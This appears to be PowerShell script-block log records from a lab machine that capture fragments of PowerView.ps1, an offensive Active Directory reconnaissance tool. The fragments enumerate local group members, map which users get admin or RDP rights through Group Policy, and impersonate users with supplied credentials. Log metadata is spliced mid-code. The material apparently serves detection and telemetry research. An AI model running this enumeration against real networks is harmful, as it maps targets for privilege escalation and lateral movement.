[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { if ($Method -eq 'API') { # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information # arguments for NetLocalGroupEnum $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the local user information $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $LocalGroup = New-Object PSObject $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') $LocalGroup } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # otherwise we're using the WinNT service provider $ComputerProvider = [ADSI]"WinNT://$Computer,computer" $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { $LocalGroup = ([ADSI]$_) $Group = New-Object PSObject $Group | Add-Member Noteproperty 'ComputerName' $Computer $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') $Group } } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetLocalGroupMember { <# .SYNOPSIS Enumerates members of a specific local group on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Convert-ADName .DESCRIPTION This function will enumerate the members of a specified local group on the current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider to be used instead, which returns a larger amount of information. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to the localhost. .PARAMETER GroupName The local group name to query for users. If not given, it defaults to "Administrators". .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to a remote machine. Only applicable with "-Method WinNT". .EXAMPLE Get-NetLocalGroupMember | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True .EXAMPLE Get-NetLocalGroupMember -Method winnt | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True .EXAMPLE Get-NetLocalGroup | Get-NetLocalGroupMember | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN .EXAMPLE Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False .OUTPUTS PowerView.LocalGroupMember.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroupMember.WinNT Custom PSObject with translated group property fields from WinNT results. .LINK http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroupMember.API')] [OutputType('PowerView.LocalGroupMember.WinNT')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { if ($Method -eq 'API') { # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information # arguments for NetLocalGroupGetMembers $QueryLevel = 2 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the local user information $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() $Members = @() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $SidString = '' $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result2 -eq 0) { Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2741 [String] $Identity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { $TargetSIDs = @() if ($PSBoundParameters['Identity']) { $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid $TargetObjectSID = $TargetSIDs if (-not $TargetSIDs) { Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } else { # no filtering/match all $TargetSIDs = @('*') } if ($LocalGroup -match 'S-1-5') { $TargetLocalSID = $LocalGroup } elseif ($LocalGroup -match 'Admin') { $TargetLocalSID = 'S-1-5-32-544' } else { # RDP $TargetLocalSID = 'S-1-5-32-555' } if ($TargetSIDs[0] -ne '*') { ForEach ($TargetSid in $TargetSids) { Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid } } Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { $GPOgroup = $_ # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID if ($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { $GPOgroup } } } | Sort-Object -Property GPOName -Unique $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType if ($_.GroupMembers) { $GPOMembers = $_.GroupMembers } else { $GPOMembers = $_.GroupSID } $Filters = $_.Filters if ($TargetSIDs[0] -eq '*') { # if the * wildcard was used, set the targets to all GPO members so everything it output $TargetObjectSIDs = $GPOMembers } else { $TargetObjectSIDs = $TargetObjectSID } # find any OUs that have this GPO linked through gpLink Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { if ($Filters) { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname } else { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname } if ($OUComputers) { if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } # find any sites that have this GPO linked through gpLink Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } } } function Get-DomainGPOComputerLocalGroupMapping { <# .SYNOPSIS Takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup .DESCRIPTION This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups are in the specified local group for a target machine through GPO correlation. If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to determine the OU the computer is a part of. Then resolve the computer's site name with Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For each resulting GPO group, resolve the resulting user/group name to a full AD object and return the results. This will return the domain objects that are members of the specified -LocalGroup for the given computer. Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and localgroup specifications. .PARAMETER ComputerIdentity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. .PARAMETER OUIdentity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local Finds users who have local admin rights over WINDOWS3 through GPO correlation. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP Finds users who have RDP rights over WINDOWS4 through GPO correlation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local .OUTPUTS PowerView.GGPOComputerLocalGroupMember #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GGPOComputerLocalGroupMember')] [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] Param( [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] $ComputerIdentity, [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] [Alias('OU')] [String] $OUIdentity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['ComputerIdentity']) { $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' if (-not $Computers) { throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } ForEach ($Computer in $Computers) { $GPOGuids = @() # extract any GPOs linked to this computer's OU through gpLink $DN = $Computer.distinguishedname $OUIndex = $DN.IndexOf('OU=') if ($OUIndex -gt 0) { $OUName = $DN.SubString($OUIndex) } if ($OUName) { $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # extract any GPOs linked to this computer's site through gpLink Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # process any GPO local group settings from the GPO GUID set $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ if($GPOGroup.GroupMembers) { $GPOMembers = $GPOGroup.GroupMembers } else { $GPOMembers = $GPOGroup.GroupSID } $GPOMembers | ForEach-Object { $Object = Get-DomainObject @CommonArguments -Identity $_ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOComputerLocalGroupMember = New-Object PSObject $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') $GPOComputerLocalGroupMember } } } } } } function Get-DomainPolicyData { <# .SYNOPSIS Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, Conve421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2641 if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } else { $Results = $GPOSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $GPO = $_ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { $GPO = Convert-LDAPProperty -Properties $_.Properties try { $GPODN = $GPO.distinguishedname $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath } catch { Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } } else { $GPO = Convert-LDAPProperty -Properties $_.Properties } $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $GPO } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } } $GPOSearcher.dispose() } } } } function Get-DomainGPOLocalGroup { <# .SYNOPSIS Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences. Also return their user membership mappings, if they exist. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID .DESCRIPTION First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or group membership is set through Group Policy Preferences groups.xml files. For any GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' section data is processed if present. Any found Groups.xml files are parsed with Get-GroupsXML and those memberships are returned as well. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ResolveMembersToSIDs Switch. Indicates that any member names should be resolved to their domain SIDs. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOLocalGroup Returns all local groups set by GPO along with their members and memberof. .EXAMPLE Get-DomainGPOLocalGroup -ResolveMembersToSIDs Returns all local groups set by GPO along with their members and memberof, and resolve any members to their domain SIDs. .EXAMPLE '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup Return any GPO-set groups for the GPO with the given name/GUID. .EXAMPLE Get-DomainGPOLocalGroup 'Desktops' Return any GPO-set groups for the GPO with the given display name. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOLocalGroup -Credential $Cred .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $ResolveMembersToSIDs, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { 